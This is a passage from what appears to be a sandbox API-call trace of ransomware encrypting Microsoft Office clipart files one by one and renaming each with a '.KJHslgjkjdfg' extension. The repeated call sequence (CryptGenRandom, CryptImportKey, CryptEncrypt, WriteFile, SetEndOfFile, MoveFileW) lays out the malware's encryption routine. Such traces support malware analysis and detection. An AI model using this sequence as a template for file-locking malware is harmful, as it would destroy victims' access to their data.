Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2810, dwBufLen=0x2810 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2810) returned 1 [0232.808] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.808] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2810, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2810, lpOverlapped=0x0) returned 1 [0232.808] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0232.808] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x28e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.808] SetEndOfFile (hFile=0x130) returned 1 [0232.810] GetProcessHeap () returned 0x2ef0000 [0232.810] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0232.810] GetProcessHeap () returned 0x2ef0000 [0232.810] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0232.811] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00192_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00192_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00192_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00192_.wmf.kjhslgjkjdfg")) returned 1 [0232.812] CloseHandle (hObject=0x130) returned 1 [0232.812] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f0d2600, ftCreationTime.dwHighDateTime=0x1bd4aea, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1f0d2600, ftLastWriteTime.dwHighDateTime=0x1bd4aea, nFileSizeHigh=0x0, nFileSizeLow=0x27c0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00194_.WMF", cAlternateFileName="")) returned 1 [0232.812] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00194_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0232.814] GetProcessHeap () returned 0x2ef0000 [0232.814] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0232.814] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0232.814] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0232.815] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0232.815] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0232.815] GetProcessHeap () returned 0x2ef0000 [0232.815] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0232.815] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0232.815] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0232.815] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0233.128] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0233.128] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0233.128] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0233.128] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0233.129] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0233.129] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0233.129] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0233.129] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.129] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x27c0, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x27c0, lpOverlapped=0x0) returned 1 [0233.160] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x27c0, dwBufLen=0x27c0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x27c0) returned 1 [0233.161] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.161] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x27c0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x27c0, lpOverlapped=0x0) returned 1 [0233.161] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0233.161] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2894, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.161] SetEndOfFile (hFile=0x130) returned 1 [0233.163] GetProcessHeap () returned 0x2ef0000 [0233.163] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0233.164] GetProcessHeap () returned 0x2ef0000 [0233.164] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0233.164] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00194_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00194_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00194_.wmf.kjhslgjkjdfg")) returned 1 [0233.166] CloseHandle (hObject=0x130) returned 1 [0233.166] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x238c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00197_.WMF", cAlternateFileName="")) returned 1 [0233.166] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00197_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00197_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0233.167] GetProcessHeap () returned 0x2ef0000 [0233.167] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0233.167] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0233.167] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0233.167] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0233.172] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0233.172] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0233.172] GetProcessHeap () returned 0x2ef0000 [0233.172] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0233.172] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0233.172] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0233.172] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0233.172] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0233.172] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0233.172] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0233.173] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0233.173] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0233.173] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0233.173] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0233.173] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.173] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x238c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x238c, lpOverlapped=0x0) returned 1 [0233.175] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2390, dwBufLen=0x2390 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2390) returned 1 [0233.175] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.175] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2390, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2390, lpOverlapped=0x0) returned 1 [0233.175] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0233.175] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2464, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.175] SetEndOfFile (hFile=0x130) returned 1 [0233.178] GetProcessHeap () returned 0x2ef0000 [0233.178] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0233.178] GetProcessHeap () returned 0x2ef0000 [0233.178] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0233.178] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00197_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00197_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00197_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00197_.wmf.kjhslgjkjdfg")) returned 1 [0233.186] CloseHandle (hObject=0x130) returned 1 [0233.186] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19174500, ftCreationTime.dwHighDateTime=0x1bd4aea, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19174500, ftLastWriteTime.dwHighDateTime=0x1bd4aea, nFileSizeHigh=0x0, nFileSizeLow=0x15fe, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00199_.WMF", cAlternateFileName="")) returned 1 [0233.186] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00199_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00199_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0233.187] GetProcessHeap () returned 0x2ef0000 [0233.187] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0233.187] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0233.187] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0233.187] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0233.189] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0233.189] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0233.189] GetProcessHeap () returned 0x2ef0000 [0233.189] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0233.189] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0233.189] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0233.190] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0233.190] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0233.190] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0233.190] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0233.190] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0233.190] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0233.190] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0233.190] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0233.190] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.190] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x15fe, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x15fe, lpOverlapped=0x0) returned 1 [0233.203] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1600, dwBufLen=0x1600 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1600) returned 1 [0233.203] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.203] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1600, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1600, lpOverlapped=0x0) returned 1 [0233.203] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0233.203] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x16d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.204] SetEndOfFile (hFile=0x130) returned 1 [0233.206] GetProcessHeap () returned 0x2ef0000 [0233.206] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0233.206] GetProcessHeap () returned 0x2ef0000 [0233.206] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0233.206] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00199_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00199_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00199_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00199_.wmf.kjhslgjkjdfg")) returned 1 [0233.208] CloseHandle (hObject=0x130) returned 1 [0233.208] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x16b4eb00, ftCreationTime.dwHighDateTime=0x1bd4aea, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x16b4eb00, ftLastWriteTime.dwHighDateTime=0x1bd4aea, nFileSizeHigh=0x0, nFileSizeLow=0x2926, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00200_.WMF", cAlternateFileName="")) returned 1 [0233.208] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00200_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0233.210] GetProcessHeap () returned 0x2ef0000 [0233.210] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0233.210] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0233.210] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0233.210] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0233.614] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0233.614] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0233.614] GetProcessHeap () returned 0x2ef0000 [0233.614] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0233.614] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0233.614] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0233.614] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0233.614] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0233.615] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0233.615] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0233.615] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0233.615] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0233.615] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0233.615] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0233.615] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.615] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2926, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2926, lpOverlapped=0x0) returned 1 [0233.665] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2930, dwBufLen=0x2930 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2930) returned 1 [0233.665] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.665] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2930, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2930, lpOverlapped=0x0) returned 1 [0233.665] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0233.665] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2a04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.666] SetEndOfFile (hFile=0x130) returned 1 [0233.668] GetProcessHeap () returned 0x2ef0000 [0233.668] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0233.669] GetProcessHeap () returned 0x2ef0000 [0233.669] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0233.669] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft 